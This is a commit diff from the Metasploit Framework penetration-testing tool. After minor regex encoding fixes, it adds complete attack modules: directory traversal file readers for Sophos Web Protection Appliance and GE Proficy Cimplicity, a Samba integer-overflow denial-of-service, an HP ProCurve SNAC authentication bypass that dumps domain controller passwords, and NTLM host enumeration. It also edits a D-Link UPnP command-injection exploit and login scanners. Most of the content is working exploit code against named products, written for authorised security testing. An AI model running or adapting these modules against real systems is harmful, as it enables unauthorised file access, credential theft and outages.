'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',

View File

@ -875,7 +875,7 @@ module Text
#
def self.ascii_safe_hex(str, whitespace=false)
if whitespace
str.gsub(/([\x00-\x20\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
str.gsub(/([\x00-\x20\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
else
str.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0]}
end
@ -1076,7 +1076,7 @@ module Text
def self.dehex(str)
return str unless str.respond_to? :match
return str unless str.respond_to? :gsub
regex = /\x5cx[0-9a-f]{2}/mi
regex = /\x5cx[0-9a-f]{2}/nmi
if str.match(regex)
str.gsub(regex) { |x| x[2,2].to_i(16).chr }
else
@ -1091,7 +1091,7 @@ module Text
def self.dehex!(str)
return str unless str.respond_to? :match
return str unless str.respond_to? :gsub
regex = /\x5cx[0-9a-f]{2}/mi
regex = /\x5cx[0-9a-f]{2}/nmi
str.gsub!(regex) { |x| x[2,2].to_i(16).chr }
end
@ -1563,7 +1563,7 @@ module Text
end
def self.unicode_filter_decode(str)
str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/ ){|m| [$2].pack("H*") }
str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/n ){|m| [$2].pack("H*") }
end
protected

View File

@ -62,12 +62,12 @@ class Input::Socket < Rex::Ui::Text::Input
# Handle telnet sequences
case line
when /\xff\xf4\xff\xfd\x06/
when /\xff\xf4\xff\xfd\x06/n
@sock.write("[*] Caught ^C, closing the socket...\n")
@sock.close
return
when /\xff\xed\xff\xfd\x06/
when /\xff\xed\xff\xfd\x06/n
@sock.write("[*] Caught ^Z\n")
return
end

View File

@ -316,7 +316,7 @@ module RKelly
when Numeric
object.value
when ::String
s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/, '')
s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '')
if s.length == 0
0
else

View File

@ -0,0 +1,128 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'uri'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
'Description' => %q{
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
Sophos Web Virtual Appliance v3.7.0.
},
'Author' =>
[
'Wolfgang Ettlingers', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-2641' ],
[ 'OSVDB', '91953' ],
[ 'BID', '58833' ],
[ 'EDB', '24932' ],
[ 'URL', 'http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
],
'DefaultOptions' => {
'SSL' => true
},
'DisclosureDate' => 'Apr 03 2013'))
register_options(
[
Opt::RPORT(443),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'Traversal depth', 2])
], self.class)
end
def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, "/"))
end
def is_proficy?
res = send_request_cgi(
{
'uri' => "/cgi-bin/patience.cgi",
'method' => 'GET'
})
if res and res.code == 307 and res.body =~ /The patience page request was not valid/
return true
else
return false
end
end
def read_file(file)
travs = ""
travs << "../" * datastore['DEPTH']
travs << file
travs << "%00"
print_status("#{@peer} - Retrieving file contents...")
res = send_request_cgi(
{
'uri' => "/cgi-bin/patience.cgi",
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'id' => travs
}
})
if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID']
return res.body
else
print_status("#{res.code}\n#{res.body}")
return nil
end
end
def run
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
if is_proficy?
print_good("#{@peer} - Check successful")
else
print_error("#{@peer} - Sophos Web Protect Appliance vulnerable component not found")
return
end
contents = read_file(datastore['FILEPATH'])
if contents.nil?
print_error("#{@peer} - File not downloaded")
return
end
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'sophos.wpa.traversal',
'application/octet-stream',
rhost,
contents,
file_name
)
print_good("#{rhost}:#{rport} - File saved in: #{path}")
end
end

View File

@ -0,0 +1,145 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'uri'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
'Description' => %q{
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0653' ],
[ 'OSVDB', '89490' ],
[ 'BID', '57505' ],
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
],
'DisclosureDate' => 'Jan 22 2013'))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
], self.class)
end
def normalize_uri(*strs)
new_str = strs * "/"
new_str = new_str.gsub!("//", "/") while new_str.index("//")
# Makes sure there's a starting slash
unless new_str[0,1] == '/'
new_str = '/' + new_str
end
new_str
end
def target_uri
begin
# In case TARGETURI is empty, at least we default to '/'
u = datastore['TARGETURI']
u = "/" if u.nil? or u.empty?
URI(u)
rescue ::URI::InvalidURIError
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
raise Msf::OptionValidateError.new(['TARGETURI'])
end
end
def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, "/"))
end
def is_proficy?
connect
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
sock.put(req)
res = sock.get_once
disconnect
if res and res =~ /gefebt\.exe/
return true
else
return false
end
end
# We can't use the http client msf mixin because the Proficy Web server
# return a malformed HTTP response with the file contents, there aren't
# two new lines (but one) between the HTTP headers and the body content.
def read_file(file)
travs = ""
travs << "../" * datastore['DEPTH']
travs << file
print_status("#{@peer} - Retrieving file contents...")
connect
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
sock.put(req)
res = sock.get_once
disconnect
if res and res =~ /HTTP\/1\.0 200 OK/
return res
else
return nil
end
end
def run
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
if is_proficy?
print_good("#{@peer} - Check successful")
else
print_error("#{@peer} - GE proficy not found")
return
end
contents = read_file(datastore['FILEPATH'])
if contents.nil?
print_error("#{@peer} - File not downloaded")
return
end
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'ge.proficy.traversal',
'application/octet-stream',
rhost,
contents,
file_name
)
print_good("#{rhost}:#{rport} - File saved in: #{path}")
end
end

View File

@ -0,0 +1,128 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/struct2'
require 'rex/proto/smb'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Authenticated
TRANS2_PARAM = Rex::Struct2::CStructTemplate.new(
[ 'uint16v', 'FID', 0 ],
[ 'uint16v', 'InfoLevel', 0 ],
[ 'uint16v', 'Reserved', 0 ],
)
FEA_LIST = Rex::Struct2::CStructTemplate.new(
[ 'uint32v', 'NextOffset', 0 ],
[ 'uint8', 'Flags', 0 ],
[ 'uint8', 'NameLen', 0 ],
[ 'uint16v', 'ValueLen', 0 ],
[ 'string', 'Name', nil, '' ],
[ 'string', 'Value', nil, '' ]
)
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba read_nttrans_ea_list Integer Overflow',
'Description' => %q{
Integer overflow in the read_nttrans_ea_list function in nttrans.c in
smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before
4.0.8 allows remote attackers to cause a denial of service (memory
consumption) via a malformed packet. Important Note: in order to work,
the "ea support" option on the target share must be enabled.
},
'Author' =>
[
'Jeremy Allison', # Vulnerability discovery
'dz_lnly' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '95969'],
['BID', '61597'],
['EDB', '27778'],
['CVE', '2013-4124']
],
))
register_options(
[
OptString.new('SMBShare', [true, 'Target share', '']),
OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]),
OptInt.new('Tries', [true, 'Number of DOS tries', 40]),
], self.class)
end
def get_fid
ok = self.simple.client.create("/")
return ok['Payload'].v['FileID']
end
def mk_items_payload
item1 = FEA_LIST.make_struct
item1.v['ValueLen'] = datastore['MsgLen']
item1.v['Value'] = "\x00" * datastore['MsgLen']
item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
item1.v['NameLen'] = item1.v['Name'].length
item2 = FEA_LIST.make_struct
item2.v['ValueLen'] = datastore['MsgLen']
item2.v['Value'] = "\x00" * datastore['MsgLen']
item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
item2.v['NameLen'] = item1.v['Name'].length
item3 = FEA_LIST.make_struct # Some padding
item3.v['ValueLen'] = 4
item3.v['Value'] = "\x00\x00\x00\x00"
item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
item3.v['NameLen'] = item1.v['Name'].length
ilen = item1.to_s.length
item1.v['NextOffset'] = ilen
# Wrap offset to 0x00
item2.v['NextOffset'] = 0xffffffff - ilen + 1
return item1.to_s + item2.to_s + item3.to_s
end
def send_pkt
fid = get_fid
trans = TRANS2_PARAM.make_struct
trans.v['FID'] = fid
trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION
data = mk_items_payload
subcmd = 0x08
self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false)
end
def run
print_status("Trying a max of #{datastore['Tries']} times...")
datastore['Tries'].times do
connect()
smb_login()
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
print_status('Sending malicious package...')
send_pkt
begin
self.simple.client.create("")
print_status('Server Answered, DoS unsuccessful')
rescue Timeout::Error
print_good('Server timed out, this is expected')
return
rescue Rex::Proto::SMB::Exceptions::InvalidType
print_status('Server Answered, DoS unsuccessful')
end
disconnect()
end
end
end

View File

@ -0,0 +1,145 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP ProCurve SNAC Domain Controller Credential Dumper',
'Description' => %q{
This module will extract Domain Controller credentials from vulnerable installations of HP
SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability
has been used to exploit remote file uploads. This vulnerability can be used to gather important
information handled by the vulnerable application, like plain text domain controller
credentials. This module has been tested successfully with HP SNAC included with ProCurve
Manager 4.0.
},
'References' =>
[
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03897409']
],
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Auth bypass discovered by
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
},
'DisclosureDate' => "Sep 09 2013"
))
register_options(
[
Opt::RPORT(443)
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def get_domain_info(session)
res = send_request_cgi({
'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",
'cookie' => session
})
if res and res.code == 200 and res.body =~ /domainName/
return res.body
end
return nil
end
def get_session
res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" })
session = nil
if res and res.code == 200
session = res.get_cookies
end
if session and not session.empty?
return session
end
return nil
end
def parse_domain_data(data)
results = []
doc = REXML::Document.new(data)
doc.elements.each("Controllers/Domain") do |domain|
dc_ip = domain.elements['domainControllerIP'].text
port = domain.elements['port'].text
service = domain.elements['connType'].text
user = domain.elements['userName'].text
password = domain.elements['password'].text
results << [dc_ip, port, service, user, password]
end
return results
end
def run
print_status("#{peer} - Get Domain Info")
session = get_session
if session.nil?
print_error("#{peer} - Failed to get a valid session, maybe the target isn't HP SNAC installation?")
return
end
print_status("#{peer} - Exploiting Authentication Bypass to gather Domain Controller Info...")
domain_info = get_domain_info(session)
if domain_info.nil?
print_error("#{peer} - Failed, maybe the target isn't vulnerable")
return
end
print_status("#{peer} - Parsing data gathered...")
credentials = parse_domain_data(domain_info)
if credentials.empty?
print_warning("#{peer} - Any Domain Controller has been found...")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Domain Controllers Credentials',
'Indent' => 1,
'Columns' => ['Domain Controller', 'Username', 'Password']
)
credentials.each do |record|
report_auth_info({
:host => record[0],
:port => record[1],
:sname => record[2].downcase,
:user => record[3],
:pass => record[4],
:source_type => "vuln"
})
cred_table << [record[0], record[3], record[4]]
end
print_line
print_line(cred_table.to_s)
end
end

View File

@ -0,0 +1,129 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'Host Information Enumeration via NTLM Authentication',
'Description' => %q{
This module makes requests to resources on the target server in
an attempt to find resources which permit NTLM authentication. For
resources which permit NTLM authentication, a blank NTLM type 1 message
is sent to enumerate a a type 2 message from the target server. The type
2 message is then parsed for information such as the Active Directory
domain and NetBIOS name.
},
'Author' => 'Brandon Knight',
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new('TARGETURIS', [ true, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")])
], self.class)
end
def peer
return "#{rhost}:#{rport}"
end
def run_host(ip)
File.open(datastore['TARGETURIS'], 'rb').each_line do |line|
test_uri = line.chomp
test_path = normalize_uri(test_uri)
result = check_url(test_path)
if result
message = "Enumerated info on #{peer}#{test_path} - "
message << "(name:#{result[:nb_name]}) "
message << "(domain:#{result[:nb_domain]}) "
message << "(domain_fqdn:#{result[:dns_domain]}) "
message << "(server_fqdn:#{result[:dns_server]})"
print_good(message)
report_note(
:host => ip,
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:ntype => 'ntlm.enumeration.info',
:data => {
:uri=>test_path,
:SMBName => result[:nb_name],
:SMBDomain => result[:nb_domain],
:FQDNDomain => result[:dns_domain],
:FQDNName => result[:dns_server]
},
:update => :unique_data
)
return
end
end
end
def check_url(test_uri)
begin
vprint_status("Checking #{peer} URL #{test_uri}")
res = send_request_cgi({
'encode' => true,
'uri' => "#{test_uri}",
'method' => 'GET',
'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="}
})
return if res.nil?
vprint_status("Status: #{res.code}")
if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
hash = res['WWW-Authenticate'].split('NTLM ')[1]
#Parse out the NTLM and just get the Target Information Data
target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value()
# Retrieve Domain name subblock info
nb_domain = parse_ntlm_info(target, "\x02\x00", 0)
# Retrieve Server name subblock info
nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset])
# Retrieve DNS domain name subblock info
dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset])
# Retrieve DNS server name subblock info
dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset])
return {
:nb_name => nb_name[:message],
:nb_domain => nb_domain[:message],
:dns_domain => dns_domain[:message],
:dns_server => dns_server[:message]
}
end
rescue OpenSSL::SSL::SSLError
vprint_error("#{peer} - SSL error")
return
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
vprint_error("#{peer} - Unable to Connect")
return
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error("#{peer} - Timeout error")
return
end
end
def parse_ntlm_info(message,pattern,offset)
name_index = message.index(pattern,offset)
offset = name_index.to_i
size = message[offset+2].unpack('C').first
return {
:message=>message[offset+3,size].gsub(/\0/,''),
:new_offset => offset + size
}
end
end

View File

@ -218,6 +218,12 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 301)
uri = URI(res.headers['Location'])
if uri.path =~ /\/author\/([[:print:]]+)\//
username = $1
print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}"
usernames << username
next
end
uri = "#{uri.path}?#{uri.query}"
res = send_request_cgi({
'method' => 'GET',
@ -245,4 +251,4 @@ class Metasploit3 < Msf::Auxiliary
return usernames
end
end
end

View File

@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
# Not successful yet, maybe we got a password prompt.
if password_prompt?
if password_prompt?(user)
send_pass(pass)
# Allow for slow echos

View File

@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary
:proto => 'tcp',
:port => rport,
:type => 'smb.shares',
:data => { :shares => shares.inspect },
:data => { :shares => shares },
:update => :unique_data
)

View File

@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if password_prompt?
if password_prompt?(user)
send_pass(pass)
# Allow for slow echos

View File

@ -138,29 +138,23 @@ class Metasploit3 < Msf::Exploit::Remote
#starting the telnetd gives no response
request(cmd)
begin
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
end
handler(sock)
rescue
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
return
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
prompt = negotiate_telnet(sock)
if prompt.nil?
sock.close
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
else
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
end
handler(sock)
end
def request(cmd)

View File

@ -8,7 +8,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
@ -22,11 +22,9 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command when using the CMD target. Additionally, two targets
are included, to start a telnetd service and establish a session over it, or deploy a
native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,
more D-Link devices may affected.
output for the executed command when using the CMD target. Additionally, a target
to deploy a native mipsel payload, when wget is available on the target device, has
been added. This module has been tested on DIR-865 and DIR-645 devices.
},
'Author' =>
[
@ -56,12 +54,6 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'unix'
}
],
[ 'Telnet', #all devices - default target
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
{
'Arch' => ARCH_MIPSLE,
@ -88,8 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote
if target.name =~ /CMD/
exploit_cmd
elsif target.name =~ /Telnet/
exploit_telnet
else
exploit_mips
end
@ -114,58 +104,6 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
def exploit_telnet
telnetport = rand(65535)
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
cmd = "telnetd -p #{telnetport}"
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
begin
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
if sock
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
add_socket(sock)
else
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
auth_info = {
:host => rhost,
:port => telnetport,
:sname => 'telnet',
:user => "",
:pass => "",
:source_type => "exploit",
:active => true
}
report_auth_info(auth_info)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
return
end
def exploit_mips
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))

Some files were not shown because too many files have changed in this diff Show More